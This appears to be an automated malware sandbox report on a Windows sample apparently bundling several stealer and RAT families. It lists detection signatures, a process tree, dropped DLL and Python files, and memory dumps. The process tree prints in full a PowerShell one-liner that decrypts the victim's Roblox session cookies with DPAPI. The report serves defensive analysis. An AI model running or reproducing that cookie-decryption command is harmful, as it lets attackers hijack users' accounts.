Analysis
- max time kernel
149s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
06/08/2026, 15:01
General
- Target 2026-08-06_b41e7bb6b5154f61bf32f2e642a7adfc_blankgrabber_cobalt-strike_icedid_njrat_satacom.exe
- Size 7.4MB
- Sample260806-sdzy8adq31
- SHA256 5a1f3cc993d58d2a133c3efe544e7c44f0c4c96b817ebbe216400135c44fa16b
Malware Config
Signatures
- Detects executables Discord URL observed in first stage droppers 1 IoCs
- Loads dropped DLL 19 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-06_b41e7bb6b5154f61bf32f2e642a7adfc_blankgrabber_cobalt-strike_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-06_b41e7bb6b5154f61bf32f2e642a7adfc_blankgrabber_cobalt-strike_icedid_njrat_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-08-06_b41e7bb6b5154f61bf32f2e642a7adfc_blankgrabber_cobalt-strike_icedid_njrat_satacom.exeC:\Users\Admin\AppData\Local\Temp\2026-08-06_b41e7bb6b5154f61bf32f2e642a7adfc_blankgrabber_cobalt-strike_icedid_njrat_satacom.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String((Get-Content \"$env:USERPROFILE\AppData\Local\Roblox\LocalStorage\robloxcookies.dat\" | ConvertFrom-Json).CookiesData), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String((Get-Content \"$env:USERPROFILE\AppData\Local\Roblox\LocalStorage\robloxcookies.dat\" | ConvertFrom-Json).CookiesData), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
- Executes a command shell one-liner
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
ada92cb5d92a588d1b93__mypyc.pyd
cacert.pem
cd.pyd
flip.dll
libcrypto-1_1.dll
libffi-8.dll
libssl-1_1.dll
python311.dll
select.pyd
unicodedata.pyd
memory/4684-72-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-73-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-80-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-67-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-68-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-69-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-70-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-71-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-79-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-74-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-78-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-75-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-76-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/4684-77-0x000002B6D1750000-0x000002B6D1D1C000-memory.dmp
memory/5460-62-0x000001EDF1F20000-0x000001EDF1F42000-memory.dmp
memory/5460-63-0x000001EDF23A0000-0x000001EDF23F0000-memory.dmp
memory/5460-64-0x000001EDF2800000-0x000001EDF29C2000-memory.dmp